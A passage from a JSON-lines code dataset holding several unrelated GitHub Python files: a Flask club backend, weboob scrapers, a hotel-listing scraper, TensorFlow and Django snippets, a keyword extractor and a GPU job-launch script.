main()')\n print('}')\n\n def writeToPml(self, filename):\n with open(filename, 'w') as fp:\n stdout = sys.stdout\n sys.stdout = fp\n self.printToPml()\n sys.stdout = stdout\n","repo_name":"zlfben/autotap","sub_path":"iot-autotap/autotapmc/ts/TransitionSystem.py","file_name":"TransitionSystem.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"27353888412","text":"class Solution:\n\n def kthElement(self, arr1, arr2, n, m, k):\n\n #base case\n\n if n > m:\n self.kthElement(arr2, arr1, m, n, k)\n\n #print(k)\n \n if n == 0:\n #print(arr2[k-1])\n return arr2[k-1]\n\n #if (k == 1):\n # return min(arr1[0], arr2[0])\n \n #general case\n\n mid1 = (n - 1) // 2\n mid2 = (m -1) // 2\n print(\"mid1: %d, mid2: %d\" %(mid1, mid2))\n if arr1[mid1] < arr2[mid2]:\n return self.kthElement(arr1[mid1:],arr2, n - 1 - mid1, m, k - mid1)\n else:\n return self.kthElement(arr1, arr2[mid2:], n, m - 1 - mid2, k - mid2)\n\n \nif __name__ == '__main__':\n arr1 = [2, 3, 6, 7, 9]\n arr2 = [1, 4, 8, 10]\n k = 5\n n = len(arr1)\n m = len(arr2)\n s = Solution()\n print(s.kthElement(arr1, arr2, n, m, k))\n","repo_name":"artemius-lustful-corruptor/sde_crusade","sub_path":"geeksforgeek/kth_elem_of_2_sort.py","file_name":"kth_elem_of_2_sort.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14218042677","text":"import datetime\nimport os\n\nfrom dotenv import load_dotenv\nfrom flask import Flask, render_template, request, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom flask_cors import CORS\n\n\nload_dotenv(\".env\")\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = os.environ.get('SECRET_KEY')\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = os.environ.get('DATABASE_URI')\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\nCORS(app, resources={r'/data/*': {'origins': 'http://localhost:8080'}})\n\nfrom models import Member, Project, Contact, Language\n\n# @app.route(\"/\")\n# def index():\n# assert Member.query.with_entities(Member.position).distinct().all().sort() == [('P',), ('VP',), ('M',)].sort(), \\\n# 'Assuming the possible positions are: President, VP, and Member'\n# ranked_members = {rank.lower() + \"s\": Member.query.filter_by(position=rank).all() for rank in ['P', 'VP', 'M']}\n# assert len(ranked_members[\"ps\"]) == 1, \"Assuming there's only one president.\"\n# ranked_members[\"p\"] = ranked_members.pop(\"ps\")[0]\n# return render_template(\"all_members.html\", **ranked_members, filter=lambda id: Contact.query.filter_by(member=id))\n# # return render_template(\"index.html\")\n#\n# @app.route(\"/members/<member>\")\n# def get_member_info(member):\n# assert member.count(\"_\") == 1, \"Underscore separates first and last names\"\n# fname, lname = member.split(\"_\")\n# print(fname, lname)\n# db_result = Member.query.filter_by(fname=fname, lname=lname).all()\n# if len(db_result) != 1:\n# return render_template(\"index.html\")\n# else:\n# return render_template(\"member.html\", member=db_result[0])#, projects=Project.query.filter_by(owner=db_result[0].id).all())\n#\n# @app.route(\"/statistics\")\n# def statistics():\n# return render_template(\"statistics.html\")\n#\n# @app.route(\"/signup\", methods=[\"GET\"])\n# def display_signup():\n# return render_template(\"signup.html\")\n\n@app.route(\"/data/signup\", methods=[\"POST\"])\ndef process_signup():\n form = request.get_json(silent=True)\n fname = form[\"fname\"]\n lname = form[\"lname\"]\n grade = form[\"grade\"]\n new_member = Member(fname=fname, lname=lname, grade=grade, image='template.jpg', position='M')\n db.session.add(new_member)\n db.session.commit()\n return \"0\"\n\n\n@app.route('/data/existing_member_data', methods=['GET'])\ndef load_data():\n data = []\n # data = {'members': [], 'contacts': []}\n members = Member.query.filter_by().all()\n for member in members:\n if member.created_at <= datetime.datetime(2021, 9, 20): # TODO: fix\n member_info = member.__dict__\n del member_info['_sa_instance_state']\n contact_info = Contact.query.filter_by(member=member.id).all()\n contact_list = []\n for contact in contact_info:\n contact_dict = contact.__dict__\n del contact_dict['member']\n del contact_dict['cid']\n del contact_dict['_sa_instance_state']\n contact_list.append(contact_dict)\n\n member_info[\"contact_list\"] = contact_list\n # data[member.id] = member_info\n data.append(member_info)\n\n # languages = Language.query.all()\n # for language in languages:\n # language_info = language.__dict__\n # del language_info['_sa_instance_state']\n # data['languages'].append(language_info)\n #\n # contacts = Contact.query.all()\n # for contact in contacts:\n # contact_info = contact.__dict__\n # del contact_info['_sa_instance_state']\n # data['contacts'].append(contact_info)\n return jsonify(data)\n\n\n@app.route('/data/new_member_data', methods=['GET'])\ndef load_data2():\n data = []\n # data = {'members': [], 'contacts': []}\n members = Member.query.filter_by().all()\n for member in members:\n print(member.created_at)\n print(datetime.datetime(2021, 9, 20))\n if member.created_at >= datetime.datetime(2021, 9, 20): # TODO: fix\n member_info = member.__dict__\n del member_info['_sa_instance_state']\n contact_info = Contact.query.filter_by(member=member.id).all()\n contact_list = []\n for contact in contact_info:\n contact_dict = contact.__dict__\n del contact_dict['member']\n del contact_dict['cid']\n del contact_dict['_sa_instance_state']\n contact_list.append(contact_dict)\n\n member_info[\"contact_list\"] = contact_list\n # data[member.id] = member_info\n data.append(member_info)\n\n # languages = Language.query.all()\n # for language in languages:\n # language_info = language.__dict__\n # del language_info['_sa_instance_state']\n # data['languages'].append(language_info)\n #\n # contacts = Contact.query.all()\n # for contact in contacts:\n # contact_info = contact.__dict__\n # del contact_info['_sa_instance_state']\n # data['contacts'].append(contact_info)\n return jsonify(data)","repo_name":"waylandcomputer/club-website","sub_path":"site/src/data_loader/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5122,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"9429162181","text":"from __future__ import unicode_literals\n\nfrom weboob.browser.pages import JsonPage, HTMLPage\nfrom weboob.browser.elements import ItemElement, ListElement, DictElement, method\nfrom weboob.browser.filters.json import Dict\nfrom weboob.browser.filters.standard import (\n Regexp, CleanText, Format, Env,\n)\nfrom weboob.browser.filters.html import Link\nfrom weboob.capabilities.bands import BandInfo, BandSearch, Favorite, Albums, Suggestion\n\n\nclass LoginPage(HTMLPage):\n \"\"\"\n Login to your Metal Archives account.\n \"\"\"\n @property\n def logged(self):\n return self.doc['Success']\n\n\nclass SearchBandsPage(JsonPage):\n @method\n class iter_bands(DictElement):\n item_xpath = 'aaData'\n ignore_duplicate = True\n\n class item(ItemElement):\n klass = BandSearch\n obj_id = Regexp(Dict('0'), '/([0-9]+)\\\\\"')\n obj_name = Regexp(Dict('0'), '>([^<]+)')\n obj_short_description = Format('Genre: %s - Country: %s', Dict('1'), Dict('2'))\n\n\nclass BandPage(HTMLPage):\n \"\"\"\n Displays information about a band.\n \"\"\"\n @method\n class get_info(ItemElement):\n klass = BandInfo\n\n obj_id = Env('band_id')\n obj_name = CleanText('//h1[@class=\"band_name\"]/a/text()')\n obj_genre = CleanText('//dl[@class=\"float_right\"]/dd[1]/text()')\n obj_country = CleanText('//dl[@class=\"float_left\"]/dd[1]/a/text()')\n obj_year = CleanText('//dl[@class=\"float_left\"]/dd[4]/text()')\n obj_description = CleanText('//div[@class=\"band_comment clear\"]/text()')\n\n\nclass AlbumPage(HTMLPage):\n \"\"\"\n Displays a band's discography.\n \"\"\"\n @method\n class iter_albums(ListElement):\n item_xpath = '//tbody/tr'\n ignore_duplicate = True\n\n class item(ItemElement):\n klass = Albums\n\n obj_id = Link('./td[1]/a')\n obj_name = CleanText('./td[1]/a/text()')\n obj_album_type = CleanText('./td[2]/text()')\n obj_year = CleanText('./td[3]/text()')\n obj_reviews = CleanText('./td[4]/a/text()')\n\n\nclass FavoritesPage(JsonPage):\n \"\"\"\n Display a list of your favorite bands.\n \"\"\"\n @method\n class iter_favorites(DictElement):\n item_xpath = 'aaData'\n ignore_duplicate = True\n\n class item(ItemElement):\n klass = Favorite\n\n obj_id = Regexp(Dict('0'), '/([0-9]+)\\\\\"')\n obj_name = Regexp(Dict('0'), '>([^<]+)')\n obj_band_url = Regexp(Dict('0'), 'href=\\\"([^\"]+)')\n obj_short_description = Format('Genre: %s - Country: %s', Dict('2'), Dict('1'))\n\n\nclass SuggestionsPage(HTMLPage):\n \"\"\"\n Displays band suggestions depending on your favorite bands.\n \"\"\"\n @method\n class iter_suggestions(ListElement):\n # Takes all the <td> except the last one that is not a band\n item_xpath = '//tbody/tr[position() < last()]'\n\n class item(ItemElement):\n klass = Suggestion\n\n obj_id = Regexp(Link('./td[2]/a'), '/([0-9]+)')\n obj_name = CleanText('./td[2]/a/text()')\n obj_description = Format('Genre: %s - Country: %s', CleanText('./td[3]/text()'), CleanText('./td[4]/text()'))\n obj_url = Link('./td[2]/a')\n","repo_name":"laurentb/weboob","sub_path":"modules/metalarchives/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"75"} +{"seq_id":"29720456262","text":"# #reference:\n# #https://colab.research.google.com/github/tensorflow/docs-l10n/blob/master/site/zh-cn/guide/keras/rnn.ipynb\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nimport timeit\ninput_dim = 28\n\nunits = 64\noutput_size = 10\n# Build the RNN model\ndef build_model(allow_cudnn_kernel=True):\n # CuDNN is only available at the layer level, and not at the cell level.\n # This means `LSTM(units)` will use the CuDNN kernel,\n # while RNN(LSTMCell(units)) will run on non-CuDNN kernel.\n if allow_cudnn_kernel:\n # The LSTM layer with default options uses CuDNN.\n lstm_layer = keras.layers.LSTM(units, input_shape=(None, input_dim))\n else:\n # Wrapping a LSTMCell in a RNN layer will not use CuDNN.\n lstm_layer = keras.layers.RNN(\n keras.layers.LSTMCell(units), input_shape=(None, input_dim)\n )\n model = keras.models.Sequential(\n [\n lstm_layer,\n keras.layers.BatchNormalization(),\n keras.layers.Dense(output_size),\n ]\n )\n return model\n\nmodel = build_model(allow_cudnn_kernel=True)\n@tf.function(jit_compile=True)\ndef test(input):\n # classifier_model.compile(optimizer=optimizer,\n # loss=loss,\n # metrics=metrics,jit_compile=True)\n # classifier_model.add(Dense(10, activation = 'softmax'))\n model(input)\nm=0\nTIMES=3\ni1 = 32\ni2 = 64\ni3 = 32\nbatch_size = 64\nnum_batches = 10\ntimestep = 50\nm=[]\nfor i in range(TIMES):\n mnist = keras.datasets.mnist\n\n (x_train, y_train), (x_test, y_test) = mnist.load_data()\n x_train, x_test = x_train / 255.0, x_test / 255.0\n sample, sample_label = x_train[0], y_train[0]\n n=timeit.timeit(lambda:test(tf.expand_dims(sample, 0)), number=10)\n m.append(n)\n \n print(\"execution time of RNN model\",n)\nprint(\"compilation time of RNN model\",m[0]-m[1])\n \n \n","repo_name":"hyoer0423/CS525_project","sub_path":"compile_time/RNN.py","file_name":"RNN.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"2054405980","text":"from rest_framework import serializers, permissions\nfrom django.contrib.auth.models import User\nfrom .models import Photo, PhotoComment\nfrom accounts.serializers import UserProfileSerializerGuest\nfrom datetime import datetime\n\ndef decode_base64(data, altchars=b'+/'):\n import base64\n import re\n \"\"\"Decode base64, padding being optional.\n\n :param data: Base64 data as an ASCII byte string\n :returns: The decoded byte string.\n\n \"\"\"\n data = re.sub(rb'[^a-zA-Z0-9%s]+' % altchars, b'', data) # normalize\n missing_padding = len(data) % 4\n if missing_padding:\n data += b'='* (4 - missing_padding)\n return base64.b64decode(data, altchars)\nclass Base64ImageField(serializers.ImageField):\n \"\"\"\n A Django REST framework field for handling image-uploads through raw post data.\n It uses base64 for encoding and decoding the contents of the file.\n\n Heavily based on\n https://github.com/tomchristie/django-rest-framework/pull/1268\n\n Updated for Django REST framework 3.\n \"\"\"\n \n\n\n def to_internal_value(self, data):\n from django.core.files.base import ContentFile\n import base64\n import six\n import uuid\n\n # Check if this is a base64 string\n if isinstance(data, six.string_types):\n # Check if the base64 string is in the \"data:\" format\n if 'data:' in data and ';base64,' in data:\n # Break out the header from the base64 content\n header, data = data.split(';base64,')\n\n # Try to decode the file. Return validation error if it fails.\n try:\n decoded_file = decode_base64(data)\n except TypeError:\n self.fail('invalid_image')\n\n # Generate file name:\n file_name = str(uuid.uuid4())[:12] # 12 characters are more than enough.\n # Get the file name extension:\n file_extension = self.get_file_extension(file_name, decoded_file)\n\n complete_file_name = \"%s.%s\" % (file_name, file_extension, )\n\n data = ContentFile(decoded_file, name=complete_file_name)\n\n return super(Base64ImageField, self).to_internal_value(data)\n\n def get_file_extension(self, file_name, decoded_file):\n import imghdr\n\n extension = imghdr.what(file_name, decoded_file)\n extension = \"jpg\" if extension == \"jpeg\" else extension\n\n return extension\n\nclass photoSerializer(serializers.ModelSerializer):\n\n owner = UserProfileSerializerGuest()\n class Meta: \n model = Photo\n fields = ['id','owner','name','description','view','photo','created_at']\n \n\nclass photoSerializerPOST(serializers.ModelSerializer):\n # photo = Base64ImageField(\n # max_length=None, use_url=True,\n # )\n \n class Meta: \n model = Photo\n fields = ['id','owner','name','description','view','photo','created_at']\n \n # def create(self, validated_data):\n \n # created_at = datetime.now()\n\n # validated_data['created_at'] = created_at\n # print(validated_data)\n # try:\n # obj = Photo.objects.create(**validated_data)\n # except TypeError as exc:\n # raise TypeError('create fail')\n # return obj\nclass PhotoCommentSerializerPOST(serializers.ModelSerializer):\n # user = UserProfileSerializerGuest()\n class Meta: \n model = PhotoComment\n fields = ['id','photoId','comment','user','date_created']\n\nclass PhotoCommentSerializerGET(serializers.ModelSerializer):\n user = UserProfileSerializerGuest()\n class Meta: \n model = PhotoComment\n fields = ['id','photoId','comment','user','date_created']","repo_name":"chenjk7/phototify","sub_path":"phototify/photo/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":3678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7071753780","text":"import requests\r\nimport json\r\nfrom lxml import etree\r\nimport time\r\nimport re\r\nimport csv\r\nimport datetime\r\ndef fangjian(room_id):\r\n url=\"http://hotels.ctrip.com/Domestic/tool/AjaxHote1RoomListForDetai1.aspx?hotel=%s\" % (room_id)\r\n headers={\r\n \"Connection\":\"keep-alive\",\r\n \"Accept-Language\":\"zh-CN,zh;q=0.9\",\r\n \"Cache-Control\":\"max-age=0\",\r\n \"Connection\":\"keep-alive\",\r\n \"Content-Type\":\"application/x-www-form-urlencoded; charset=utf-8\",\r\n \"If-Modified-Since\": \"Thu, 01 Jan 1970 00:00:00 GMT\",\r\n \"Referer\": \"http://hotels.ctrip.com/hotel/%s.html\" % (room_id),\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\"\r\n }\r\n a=0\r\n html=requests.get(url,headers=headers)\r\n json_html=json.loads(html.text)\r\n L=[]\r\n string=json_html[\"html\"]\r\n html1 = etree.HTML(string)\r\n room_name = html1.xpath('//*[@class=\"room_unfold J_show_room_detail\"]/text()')\r\n room_price = html1.xpath('//*[@class=\"base_price\"]/text()')\r\n for i in room_name:\r\n i=(i.replace(\"\\n\",'')).replace(\" \",\"\")\r\n if i != \"\" and a<2:\r\n L.append(i)\r\n L.append(room_price[a])\r\n a+=1\r\n elif a==2:\r\n break\r\n return L\r\n\r\ndef jiudian_name(startpage,endpage):\r\n L_name=[] #存放每个酒店名称\r\n L_room=[] #存放每个\r\n # with open('D://携程/500酒店数据.csv', 'w', newline='') as csv_file:\r\n # csv_writer = csv.writer(csv_file,dialect='excel')\r\n for i in range(startpage,endpage):\r\n headers={\r\n \"Connection\":\"keep-alive\",\r\n \"Accept-Language\":\"zh-CN,zh;q=0.9\",\r\n \"Cache-Control\":\"max-age=0\",\r\n \"Connection\":\"keep-alive\",\r\n \"Content-Type\":\"application/x-www-form-urlencoded; charset=utf-8\",\r\n \"If-Modified-Since\": \"Thu, 01 Jan 1970 00:00:00 GMT\",\r\n \"Referer\": \"https://hotels.ctrip.com/hotel/shanghai2\",\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\"\r\n }\r\n date={\r\n \"__VIEWSTATEGENERATOR\": \"DB1FBB6D\",\r\n \"cityName\": \"%E4%B8%8A%E6%B5%B7\",\r\n \"StartTime\": \"2019-03-21\",\r\n \"DepTime\": \"2019-03-22\",\r\n \"RoomGuestCount\": \"1,1,0\",\r\n \"txtkeyword\": \"\",\r\n \"Resource\": \"\",\r\n \"Room\": \"\",\r\n \"Paymentterm\": \"\",\r\n \"BRev\": \"\",\r\n \"Minstate\": \"\",\r\n \"PromoteType\": \"\",\r\n \"PromoteDate\": \"\",\r\n \"operationtype\": \"NEWHOTELORDER\",\r\n \"PromoteStartDate\": \"\",\r\n \"PromoteEndDate\": \"\",\r\n \"OrderID\": \"\",\r\n \"RoomNum\": \"\",\r\n \"IsOnlyAirHotel\": \"F\",\r\n \"cityId\": \"2\",\r\n \"cityPY\": \"shanghai\",\r\n \"cityCode\": \"021\",\r\n \"cityLat\": \"31.2363508011\",\r\n \"cityLng\": \"121.4802384079\",\r\n \"positionArea\": \"\",\r\n \"positionId\": \"\",\r\n \"hotelposition\": \"\",\r\n \"keyword\": \"\",\r\n \"hotelId\": \"\",\r\n \"htlPageView\": \"0\",\r\n \"hotelType\": \"F\",\r\n \"hasPKGHotel\": \"F\",\r\n \"requestTravelMoney\": \"F\",\r\n \"isusergiftcard\": \"F\",\r\n \"useFG\": \"F\",\r\n \"HotelEquipment\": \"\",\r\n \"priceRange\": \"-2\",\r\n \"hotelBrandId\": \"\",\r\n \"promotion\": \"F\",\r\n \"prepay\": \"F\",\r\n \"IsCanReserve\": \"F\",\r\n \"OrderBy\": \"99\",\r\n \"OrderType\": \"\",\r\n \"k1\": \"\",\r\n \"k2\": \"\",\r\n \"CorpPayType\": \"\",\r\n \"viewType\": \"\",\r\n \"checkIn\": \"2019-03-21\",\r\n \"checkOut\": \"2019-03-22\",\r\n \"DealSale\": \"\",\r\n \"ulogin\": \"\",\r\n \"hidTestLat\": \"0%7C0\",\r\n \"AllHotelIds\": \"4399431%2C393916%2C479628%2C473770%2C427622%2C419539%2C1763033%2C21349561%2C12782071%2C6338488%2C8178829%2C441585%2C22273655%2C453317%2C2895314%2C17538562%2C1496646%2C12603011%2C16313232%2C25508399%2C1102954%2C23852115%2C436526%2C15018492%2C16946069\",\r\n \"psid\": \"\",\r\n \"isfromlist\": \"T\",\r\n \"ubt_price_key\": \"htl_search_result_promotion\",\r\n \"showwindow\": \"\",\r\n \"defaultcoupon\": \"\",\r\n \"isHuaZhu\": \"False\",\r\n \"hotelPriceLow\": \"\",\r\n \"unBookHotelTraceCode\": \"\",\r\n \"showTipFlg\": \"\",\r\n \"traceAdContextId\":\"v2_H4sIAAAAAAAAAC3NvU0DQRCGYTujBkLkCLHS%2FM83Dmnk5F1zMTVQA5GboCMKoAqb28tGj1598%2FT98%2Fd1a8%2B%2Fx4I7L%2BNzLMblWguf5a1KYRuCE5BdPc035XSFh2zMRMExnUnKbWfRzMmaIOM5EpW6qaYZcv%2FnmKmyJ3PyPqEeMzYN9T0O9omiRACmGolM5ZRw0D%2B%2FHF5POjg%2FVrEWNbzZGr1VXrmxjYteFL2r0vF8QsdV0KsVkTUjXh%2BXU1vDMJAmWfF%2BuAPjyee2OgEAAA%3D%3D\",\r\n \"allianceid\":\"0\",\r\n \"sid\": \"0\",\r\n \"pyramidHotels\": \"419539_6%7C8178829_11%7C17538562_16%7C1102954_21\",\r\n \"hotelIds\": \"4399431_1_1,393916_2_1,479628_3_1,473770_4_1,427622_5_1,419539_6_1,1763033_7_1,21349561_8_1,12782071_9_1,6338488_10_1,8178829_11_1,441585_12_1,22273655_13_1,453317_14_1,2895314_15_1,17538562_16_1,1496646_17_1,12603011_18_1,16313232_19_1,25508399_20_1,1102954_21_1,23852115_22_1,436526_23_1,15018492_24_1,16946069_25_1\",\r\n \"markType\": \"0\",\r\n \"zone\": \"\",\r\n \"location\": \"\",\r\n \"type\": \"\",\r\n \"brand\": \"\",\r\n \"group\": \"\",\r\n \"feature\": \"\",\r\n \"equip\": \"\",\r\n \"bed\": \"\",\r\n \"breakfast\": \"\",\r\n \"other\": \"\",\r\n \"star\": \"\",\r\n \"sl\": \"\",\r\n \"s\": \"\",\r\n \"l\": \"\",\r\n \"price\": \"\",\r\n \"a\": \"0\",\r\n \"keywordLat\": \"\",\r\n \"keywordLon\": \"\",\r\n \"contrast\": \"0\",\r\n \"PaymentType\":\"\", \r\n \"CtripService\":\"\", \r\n \"promotionf\":\"\", \r\n \"allpoint\":\"\", \r\n \"contyped\": \"0\",\r\n \"productcode\":\"\",\r\n \"page\": \"%s\" % startpage \r\n }\r\n\r\n html = requests.post('https://hotels.ctrip.com/Domestic/Tool/AjaxHotelList.aspx',headers=headers,data=date)\r\n json_html=json.loads(html.text)\r\n string=json_html[\"hotelList\"]\r\n etree1 = etree.HTML(string)\r\n jd_name = etree1.xpath('//*[@class=\"hotel_name\"]/a/@title')\r\n jd_id = etree1.xpath('//*[@class=\"hotel_name\"]/a/@href')\r\n for x in range(25):\r\n L_name.append(jd_name[x])\r\n pattern = re.compile(r'/hotel/(.+?).html')\r\n c=0\r\n for y in jd_id:\r\n id = pattern.findall(y)\r\n L2 = fangjian(id[0])\r\n L_room.append([L_name[c]]+L2)\r\n c+=1\r\n time.sleep(0.2)\r\n print(L_room)\r\n print(len(L_room))\r\nstarttime = datetime.datetime.now()\r\njiudian_name(0,20)\r\nendtime = datetime.datetime.now()\r\nprint(endtime - starttime)","repo_name":"Hatoc/xiecheng","sub_path":"携程.py","file_name":"携程.py","file_ext":"py","file_size_in_byte":7325,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"42751130992","text":"# -*- coding:utf-8 -*-\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\nimport json\nimport jieba\nimport os\nimport jieba.posseg as pseg\ndef extract_center(words):\n\tvectors=[ word_vector[word] for word in words if word in word_vector]\n\tl=len(vectors)\n\tif l==0:\n\t\treturn None\n\td=len(vectors[0])\n\tresults=[0 for i in range(0,d)]\n\tfor vector in vectors:\n\t\tfor i in range(0,d):\n\t\t\tresults[i]=results[i]+vector[i]\n\treturn results\ndef inner(v1,v2):\n\treturn sum([s1*s2 for [s1,s2] in zip(v1,v2)])\n\ndef cal_word_score(words,center_vectors):\n\tresults=[[word,inner(word_vector_normal[word],center_vectors)] for word in words if word in word_vector]\n\tmax_score=max([s[1] for s in results])\n\tresults=[[word,score/max_score] for [word,score] in results]\n\treturn results\ndef split(sentence):\n\tresults={}\n\twords_flag= pseg.cut(sentence)\n\tfor w in words_flag:\n\t\ttry:\n\t\t\tresults[w.word]=w.flag\n\t\texcept:\n\t\t\tpass\n\treturn results\n\t\n\ndef extract_keyword(sentence):\n\tsentence=sentence.decode('utf-8')\n\t#$words=set([word for word in jieba.cut(sentence)])\n\twords_flag=split(sentence)\n\twords=words_flag.keys()\n\tcenter_vectors=extract_center(words)\n\tif center_vectors==None:\n\t\treturn []\n\tword_score=cal_word_score(words,center_vectors)\n\tword_score=[ [word,round(score*idf.get(word,1.0),2)] for [word,score] in word_score]\n\tdef add_flag_score(word):\n\t\tif words_flag[word].startswith(\"n\") or words_flag[word].startswith(\"n\"):\n\t\t\treturn 5\n\t\telse :\n\t\t\treturn 1\n\tword_score=[[ word,score*add_flag_score(word)] for [word,score] in word_score]\n\treturn word_score\ndef read_vector(filepath):\n\twith open(filepath) as f:\n\t\tlines=f.readlines()\n\tlines=[line.strip().split(\"\\t\") for line in lines]\n\tword_vector=dict([[s[0].decode('utf-8'),eval(s[1])] for s in lines])\n\treturn word_vector\n\n\t\npath=os.path.split(os.path.realpath(__file__))[0]\nwith open(path+\"/idf\") as f:\n\tidf=json.load(f)\nword_vector=read_vector(path+\"/word2vec\")\nword_vector_normal=read_vector(path+\"/word2vec_normal\")\n#result=extract_keyword(\"特别喜欢刘德华\")\n#print result\n\t\n\n\n\n\n\n\n\n\n\n","repo_name":"Feng1909/chatbot","sub_path":"recall/extract_keyword.py","file_name":"extract_keyword.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"18127153288","text":"import pygame\n\n\nclass Drawable:\n def __init__(self, x: int, y: int, image: str = \"images/grass.png\"):\n self.x = x\n self.y = y\n self.image: pygame.Surface = pygame.image.load(image)\n rect = self.image.get_rect()\n rect.move(self.x, self.y)\n self.mass = 0\n\n def draw(self, game_state):\n self.image = pygame.transform.scale(self.image, (self.mass, self.mass))\n game_state.screen.blit(self.image, (self.x, self.y))\n","repo_name":"Ekipogh/Cows","sub_path":"drawable.py","file_name":"drawable.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26744533474","text":"\"\"\"Configuration helpers.\"\"\"\nimport json\nimport os\nfrom pathlib import Path\nfrom typing import List\n\nCONFIG_DIR = Path(\"~/.config/dotfiles/\").expanduser()\n\n\nclass JsonConfig:\n \"\"\"A JSON config file.\"\"\"\n\n def __init__(self, partial_path):\n \"\"\"Create or get a JSON config file inside the config directory.\"\"\"\n self.full_path = CONFIG_DIR / partial_path\n self.full_path.parent.mkdir(parents=True, exist_ok=True)\n\n def _generic_load(self, default):\n \"\"\"Try to load file data, and use a default when there is no data.\"\"\"\n try:\n data = json.loads(self.full_path.read_text())\n except (json.decoder.JSONDecodeError, FileNotFoundError):\n data = default\n return data\n\n def load_set(self):\n \"\"\"Load file data as a set.\"\"\"\n return set(self._generic_load(set()))\n\n def dump(self, new_data):\n \"\"\"Dump new JSON data in the config file.\"\"\"\n if isinstance(new_data, set):\n new_data = list(new_data)\n self.full_path.write_text(json.dumps(new_data))\n\n\ndef cast_to_directory_list(check_existing: bool = True):\n \"\"\"Cast from a string of directories separated by colons.\n\n Useful functions for the prettyconf module.\n\n Optional check existing directories: throw an error if any directory does not exist.\n \"\"\"\n\n def cast_function(value) -> List[str]:\n \"\"\"Cast function expected by prettyconf.\"\"\"\n expanded_dirs = [os.path.expanduser(dir_).rstrip(\"/\") for dir_ in value.split(\":\")]\n\n if check_existing:\n non_existent = [d for d in expanded_dirs if d and not os.path.isdir(d)]\n if non_existent:\n raise RuntimeError(\n \"Some directories were not found or are not directories: {}\".format(\":\".join(non_existent))\n )\n\n return expanded_dirs\n\n return cast_function\n","repo_name":"andreoliwa/python-clib","sub_path":"src/clib/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"7140120054","text":"import numpy as np\nimport itertools\nimport gpuscheduler\nimport argparse\nimport os\nimport uuid\nimport hashlib\nimport glob\nimport math\nfrom itertools import product\nfrom torch.optim.lr_scheduler import OneCycleLR\n\nfrom os.path import join\n\nparser = argparse.ArgumentParser(description='Compute script.')\nparser.add_argument('--dry', action='store_true')\nparser.add_argument('--verbose', action='store_true')\nparser.add_argument('--p', type=float, default=1.0, help='Probability with which to select a configuration.')\nparser.add_argument('--baseline', action='store_true', help='Run baseline transformer')\nargs = parser.parse_args()\n\n\ngpus = 1\ncmd = 'fairseq-train --restore-file models/roberta.large/model.pt --max-positions 512 --max-tokens 4400 --task sentence_prediction --reset-optimizer --reset-dataloader --reset-meters --required-batch-size-multiple 1 --init-token 0 --separator-token 2 --arch roberta_large --criterion sentence_prediction --dropout 0.1 --attention-dropout 0.1 --weight-decay 0.1 --clip-norm 0.0 --lr-scheduler polynomial_decay --fp16 --fp16-init-scale 128 --threshold-loss-scale 1 --fp16-scale-window 128 --max-epoch 10 --find-unused-parameters --log-format simple --log-interval 25 --no-save --fp16-no-flatten-grads'\n\nargs2 = {}\n\n\n#args2['validate-interval-updates'] = 1000\n#args2['save-interval-updates'] = 1000\n\nname = 'blockwise_vs_adafactor2'\n\nconstraint = 'volta'\n\nlogfolder = '8bit_training/glue/{0}'.format(name)\nckp_name = logfolder\n#time_hours = 24*2\ncores_per_job = 5\nmem = 48*(8 if gpus > 8 else gpus)\nnum_seeds = 10\nseed_offset = 0\ntime_hours = 16\ntime_minutes = 0\n\n#partition = 'devlab,learnlab,learnfair'\n#partition = 'scavenge'\n#partition = 'devlab'\npartition = 'learnlab,learnfair'\nchange_dir = 'fairseq_private/'\nrepo = 'fairseq_private'\nexclude = ''\n\ns = gpuscheduler.HyakScheduler(verbose=args.verbose, account='', partition=partition, use_gres=False)\n\nfp16 = True\nargs3 = {}\n\nargs2['optimizer'] = 'adafactor'\nargs2['beta1'] = 0.9\nargs2['decay-rate'] = 0.98\n\n#args3['adam-betas'] = [\"'(0.9, 0.98)'\"]\n#args3['adam-eps'] = [1e-6]\n#args3['use-bnb'] = [True]\n#args3['optim-bits'] = [32, 8]\n#args2['optimizer'] = 'adam'\n\n\nlr_factor = 1.0\nstep_factor = 1.0\nwarmup_factor = 1.0\nkey = ('batch-size', 'total-num-update', 'num-classes', 'warmup-updates', 'lr', 'best-checkpoint-metric', 'maximize-best-checkpoint-metric')\nargs3[key] = []\n#args3[key].append(('32 